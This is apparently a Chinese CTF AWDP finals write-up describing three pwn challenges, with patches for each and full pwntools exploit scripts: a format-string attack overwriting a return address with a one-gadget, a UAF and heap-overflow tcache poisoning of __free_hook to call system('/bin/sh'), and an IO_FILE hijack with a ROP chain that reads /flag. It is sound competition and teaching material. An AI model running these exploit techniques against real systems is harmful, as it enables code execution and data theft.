README

本次决赛AWDP 共 4道 pwn题, 整体除了 PHP看不懂,其他的都能 fix 和 break ,比赛时间还是挺久的,但是做着做着就时间就所剩无几了,最后CHR 也没能break(自己太垃圾了)

图片描述

awdp 第13名,最终总排名 32 名 无缘一等奖,和前面的队伍就差几分,如果再开个渗透题也就一了,奈何我太菜了呜呜呜爆0了,靠队友带飞

图片描述

修补包示例

  • update.sh
1
2
3
#!/bin/sh
mv pwn_fix /home/ctf/pwn
chmod 777 /home/ctf/pwn
  • 打包命令
1
tar zcvf update.tar.gz update.sh pwn_fix

anime

Fix

fix 比较简单,非stack 上格式化字符串漏洞

call _printf 改从 call _puts 既可

图片描述

Break

  • 漏洞利用并不难,此题我在libc 的替换上话花了太多时间

  • 先来说一下比赛中遇到的一下坑点

一般做格式化字符串漏洞的题目时,我一般会把给的附件 patch成题目指定的glibc 版本

附件给的时 pwn libc.so.6 libcrypto.so.1.1 glibc 2.31, 我本地没有 ubutnu 20,只能通过替换成 glibcallinone

图片描述

  • 直接说坑点把,pwn 文件 其实只需要 ld.so libc.so.6 libcrypto.so.1.1
  • 至于 libdl.so.2 libpthread.so.0 其实是 libcrypto.so.1.1 需要的
  • 导致后面就算把libdl.so.2 libpthread.so.0 放到当前目录下也不行

图片描述

  • 最后patch 好了

图片描述

图片描述

我是傻逼

  • 后面就是非stack 上格式话字符串漏洞了,修改 main 函数的返回地址 打 ogg 既可以 ( 前期打 poprdi-binsh-system ,只能正确写前 0x10 ,转变写一个 ogg 也就可以了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *
import sys
 
from Crypto.Cipher import AES
 
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
#context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('123.57.149.79',37175)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
brva 0x15CB
brva 0x00015FF
#continue
'''.format(**locals())
 
 
 
 
def _pad(bStr:bytes):
    blen=len(bStr)
    add=16-(blen%16)
    buffer=bStr+add*chr(0).encode()
    return buffer
 
key = bytes.fromhex('7BF35CD69C475D5E6F1D7A23187BF934')
def sendpay(pay):
    ru('anime: ')
    pay = _pad(pay)
    aes = AES.new(key,AES.MODE_ECB) # ECB
    cr_text = aes.encrypt(pay)
    s(cr_text)
    ru('your like ')
   
 
 
 
io = start(binary)
 
ru('name\n')
pay = '/bin/sh;'
s(pay)
ru('/bin/sh;')
elf_base = uu64(r(6)) - 0x11e0
 
lss('elf_base')
#
 
pay = f"%{6+6}$p"
pay = pay.encode()
 
sendpay(pay)
 
stack = int(ru('!'),16)
lss('stack')
 
count = stack - 284
lss('count')
 
pay = f"%{count & 0xFFFF}c%{6+0xb}$hn"
pay = pay.encode()
sendpay(pay)
 
 
pay = f"%19c%{6+0x27}$hn"
pay = pay.encode()
sendpay(pay)
 
 
#09:0048│     0x7ffe087b05e8 —? 0x7d1810232083 (__libc_start_main+243) ?— mov edi, eax
pay = f"%{6+9}$p"
pay = pay.encode()
sendpay(pay)
libc_base = int(ru('!'),16) - libc.sym['__libc_start_main'] - 243
lss('libc_base')
 
libc.address = libc_base
 
rdi = next(libc.search(asm('pop rdi;ret')))
binsh = 0x1234
system = libc.sym['system']
 
 
ogg = 0xe3b01
rop = p64(libc_base + ogg) #+ p64(rdi) + p64(binsh) + p64(system)
 
stack_ret = stack - 232
 
 
for i in range(len(rop)):
    pay = f"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
    pay = pay.encode()
    sendpay(pay)
   
    pd = rop[i]
    if(pd==0):
        pay = f"%{6+0x27}$hhn\x00"
    else:
        pay = f"%{pd}c%{6+0x27}$hhn\x00"
 
    pay = pay.encode()
    sendpay(pay)
 
 
#gdb.attach(io,gdbscript)
 
pay = f"A\x00"
pay = pay.encode()
sendpay(pay)
 
   
itr()

ezheap

Fix

  • 一开始没有关注 uaf 这里,导致前几轮没能fix,后面才意识到

漏洞点再 rm() 函数里

图片描述

free 堆块后,并没有清空指向堆块的指针,导致UAF漏洞。

图片描述

  • 没有修复时的汇编

图片描述

  • 修复后的汇编

图片描述

1
2
3
4
5
6
7
8
9
mov rax, qword ptr [rbp_var_4]  ; 取idx
shl eax, 3                      ; idx 乘以 8
lea rdx, qword ptr [0xA080]     ; 取 heap_list 的地址
add rdx, rax                    ; 计算索引的地址
push rdx                        ; 将堆指针 压到stack 上
mov rdi,[rdx]                   ; 取heap地址
call _free                      ; free heap ;ret 后 rdi 寄存器是空的
pop rdx                         ; 取出指向heap的指针
mov [rdx], rdi                  ; 清空指针的内容

图片描述

  • 保存修改后的

图片描述

图片描述

  • 打包

图片描述

  • 上传 tar.gz

图片描述

图片描述

Break

  • 被自己蠢哭,前期堆块分配的风水不是很好,导致后面改完tcachebins 后 ,没有机会继续申请了。只能重新写了一份exp, 又浪费了宝贵时间,导致最后几轮才成功Break(不然早就 Break了),我怎么这么垃圾。。

  • 已知UAF漏洞.

  • 经过分析还存在 堆溢出漏洞, edit 时 可以重新定义写入大小导致堆溢出漏洞

  • glibc2.31

  • add 时 size 的大小再 0x10-0x400,free后不会进入unsortedbin。

  • 而且有堆块数量限制,不能通过填满 tcachebins 让堆块进入unsortedbin。

  • 利用堆溢出修改 堆块的 size, free 后进入 unsortedbin,从而泄露 libc 地址

  • 后面就控制tcachebins,任意地址申请到 __free_hook 既可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
 
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('39.106.48.123',30155)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
#brva 0x1917
#brva 0x17A3
brva 0x0156C
#continue
'''.format(**locals())
 
io = start(binary)
 
 
 
def add(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"new",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def rm(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"rm",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def show(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"view",
        "index": {idx},
        "length": {l},
        "message":"{meg}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
def edit(idx=0,l=0,meg='A'):
    ru('Please input:')
    json = '{' + f'''
        "choice":"modify",
        "index": {idx},
        "length": {l},
        "message":"{meg.decode()}"
    ''' + '}'
    json = json.replace('\n','').replace(' ','')
    sl(json)
 
 
 
add(0,0x78,"I"*0x28)
add(1,0x3f8,"A"*0x28)
add(2,0x78,"I"*0x28)
add(3,0x78,"I"*0x28)
 
edit(0,736+0xa,b'Y'*(736+8)+p16(0x401+0x50*5+0x20*5))
 
rm(1)
 
add(4,16,'')
edit(4,1,b"C")
show(4)
ru('message:')
libc_base = uu64(r(6)) - 2018115
lss('libc_base')
 
rm(2)
rm(3)
 
ru('Please input:')
json = b'{"choice":"modify","index":3, "length": 9, "message":"'+p64(libc_base + libc.sym['__free_hook'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)
 
 
 
add(5,0x78,'/bin/sh;')
 
ru('Please input:')
json = b'{"choice":"new","index":6, "length": 120, "message":"'+p64(libc_base + libc.sym['system'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)
 
#gdb.attach(io,gdbscript)
rm(5)
 
 
 
 
io.interactive()

CHR

Fix

  • 瞎 fix 的, 居然成功了,

限制大小

图片描述

Break(赛后)

  • 比赛好几个小时,理论上三题fix和break都可以做出来的,比赛的时候时间还是比较紧的,失误一点都会浪费好多时间,后面就剩两三轮了,也就不想做了呜呜呜

  • Break 后 也就指定漏洞点了,Fix 肯定也就比较容易了

  • 恰好我本地也是 ubuntu 24 glibc 2.39,我就单纯打个本地吧

图片描述

  • 转换后会造成堆溢出

图片描述

图片描述

  • 堆溢出的利用,后面任意地址申请 先去控制 _IO_2_1_stdin_ 结构体,然后 scanf 触发任意地址写到 _IO_2_1_stdout_ 后面 puts 触发IO 流攻击。
  • 后面就是ORW flag 既可

图片描述

  • 任意写

图片描述

  • scanf触发

图片描述

  • 劫持IO流

图片描述

  • puts 触发IO攻击,后面就是 ROP 既可

图片描述

  • 最后exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)
 
 
binary = './pwn'
libelf = ''
 
if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
 
gdbscript = '''
#brva 0x0182F
#brva 0x01C7D
#brva 0x01BC8
 
#continue
'''.format(**locals())
 
io = start(binary)
 
def add(size,text='A'):
    ru('>> ')
    sl('1')
    ru('size:')
    sl(str(size))
    ru('content:')
    s(text)
 
def rm(idx):
    ru('>> ')
    sl('2')
    ru('idx:\n')
    sl(str(idx))
 
def edit(idx,text):
    ru('>> ')
    sl('3')
    ru('idx:')
    sl(str(idx))
    ru('content:')
    s(text)
 
def show(idx):
    ru('>> ')
    sl('4')
    ru('idx:')
    sl(str(idx))
    ru('content:')
 
def convert(idx):
    ru('>> ')
    sl('5')
    ru('idx:\n')
    sl(str(idx))
 
 
#for i in range(0x10):
 
for i in range(0x8):
    add(0x108)
    add(0x108)
 
# 0-15
 
 
 
pay  = b'A' * 0x100
pay += '鸡'.encode('utf-8') + p16(0x110 * 5 + 1)
edit(0,pay)
 
convert(0)
rm(1)
 
for i in range(7):
    add(0x108*2)
# 16
show(5)
libc_base = uu64(r(6)) - 2112288
 
lss('libc_base')
 
pay = b'A' * 0x108 + p64(0x111)
edit(0x14,pay) #20
 
rm(2)
 
pay = b'A' * 0x110
edit(0x14,pay) #20
 
 
show(0x14)
ru(pay)
 
key = uu64(r(5))
heap_addr = key << 0xC
 
pay = b'A' * 0x108 + p64(0x111)
edit(0x15,pay) #20
 
 
rm(4)
 
libc.address = libc_base
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
 
 
 
 
pay  = b'A' * 0x108 + p64(0x111)
pay += p64(key ^ (_IO_2_1_stdin_ - 0x90))
edit(0x15,pay) #20
 
 
add(0x108)
 
lss('libc_base')
lss('key')
lss('heap_addr')
 
 
 
#gdb.attach(io,gdbscript)
 
#gdb.attach(io,'b *setcontext+61')
 
 
x =  _IO_2_1_stdout_
pay = b'\x00' * 0x90 + p64(0xfbad1800) + p64(0) * 6 + p64(x) + p64(x + 0x130)
 
add(0x108,pay)
 
pause()
 
fake_IO_addr = _IO_2_1_stdout_
pay = flat({
    0x00: 0,
    0x18: libc.sym['setcontext'] + 61,
    0x20: fake_IO_addr, # 0x20 > 0x18
    0x68: 0,                # rdi  #read fd
    0x70: fake_IO_addr,     # rsi  #read buf
    0x88: fake_IO_addr,     # rdx  #read size
    0xa0: fake_IO_addr,
    0xa8: libc.sym['read'], # RCE2 ogg
    0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 - 0x20,
    0xe0: fake_IO_addr,
},filler=b'\x00')
 
sl(pay)
 
 
pause()
rop = ROP(libc)
 
rax = rop.find_gadget(['pop rax', 'ret'])[0]
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
rdx = libc_base + 0x00000000000b502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
syscall = libc.sym['read'] + 15
 
 
pay   = p64(rax) + p64(2) + p64(rdi) + p64(fake_IO_addr + 0x110) + p64(rsi) + p64(0) + p64(syscall)
pay  += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(0) + p64(rdi) + p64(3) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)
pay  += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)
pay  = pay.ljust(0x110,b'\x00')
pay += b'/flag\x00'
sl(pay)
 
 
 
itr()

图片描述

整体下来,题目还是比较简单的。出了 那个 PHP的我看不懂..

附件

1
https://pan.baidu.com/s/1Ci6Mt9gr10OIpRVYYqMedw?pwd=imlz

最新回复:
imLZH1 2024-07-23 15:14:39
错别字挺多,笑死了
z2zccc 2024-07-24 16:43:56
hhh师傅好像就在我们隔壁
W1ngyu 2025-03-12 11:30:23
imLZH1 错别字挺多,笑死了